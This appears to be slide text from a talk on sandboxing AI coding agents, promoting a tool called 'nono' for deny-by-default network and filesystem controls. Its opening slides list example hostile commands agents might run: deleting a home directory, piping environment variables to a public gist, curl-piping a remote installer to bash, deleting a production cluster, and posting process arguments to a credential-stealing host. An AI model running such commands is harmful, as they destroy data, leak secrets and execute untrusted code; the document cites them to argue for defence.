Moving “Permissions” out of the agent decision-loop
Examples:
claude --allow-dangerously-skip-permissions
codex --full-auto

Wasted tokens
Rate-limiting for development
You already are!
Anything you can do, agents can (and will) do:
rm -rf /home/user
printenv | gh gist create --public
curl -fsSL https://totallynotmalware.com/install.sh | bash
aws eks delete-cluster --name production
ps -eo pid,args --no-headers | curl -X POST https://crendentialthief.ai/ingest --data-binary @-
Do you run unsandboxed agents AND do any of the following:
Store secrets unencrypted on-disk (e.g., .env, .kube/config, .aws/credentials)? — PWNed
Run local processes with credentials in environment variables? — PWNed
Give your user access to privileged system services (docker, journal, etc.)? — PWNed
Can your user access the internet? - Believe it or not, PWNed
Agents that can do useful work efficiently and without unnecessary interruption. This requires:
Arbitrary code execution
Access to the real systems that we use everyday
A way to guarantee it won’t f&@k up without relying on its own decision-making capabilities
Allows access to secrets without exposing them
Deny-by-default network access w/ L7 filtering
R/W/X filesystem controls
Supports 100+ concurrent agents
Shares host utilities
Profiles
Strong enforcement
Cross-platform
Audit log
FOSS
Easy to use
Easy to share
Allows access to secrets without exposing them
Deny-by-default network access w/ L7 filtering
R/W/X filesystem controls
Supports 100+ concurrent agents
Shares host utilities
Profiles
Strong enforcement
Cross-platform
Audit log
FOSS
Easy to use
Easy to share
Allows access to secrets without exposing them
Deny-by-default network access w/ L7 filtering
R/W/X filesystem controls
Supports 100+ concurrent agents
Shares host utilities
Profiles
Strong enforcement
Cross-platform
Audit log
FOSS
Easy to use
Easy to share
Allows access to secrets without exposing them
Deny-by-default network access w/ L7 filtering
R/W/X filesystem controls
Supports 100+ concurrent agents
Shares host utilities
Profiles
Strong enforcement
Cross-platform
Audit log
FOSS
Easy to use
Easy to share
Allows access to secrets without exposing them
Deny-by-default network access w/ L7 filtering
R/W/X filesystem controls
Supports 100+ concurrent agents
Shares host utilities
Profiles
Strong enforcement
Cross-platform
Audit log
FOSS
Easy to use
Easy to share
nono learn -- <command> — traces file + network access
Outputs JSON ready to use as a profile
nono run --profile <name> -- <command> — enforce it

Typescript SDK; build directly into Pi
Filesystem rollbacks
Packs; skills registry w/ permissions already set (coming soon)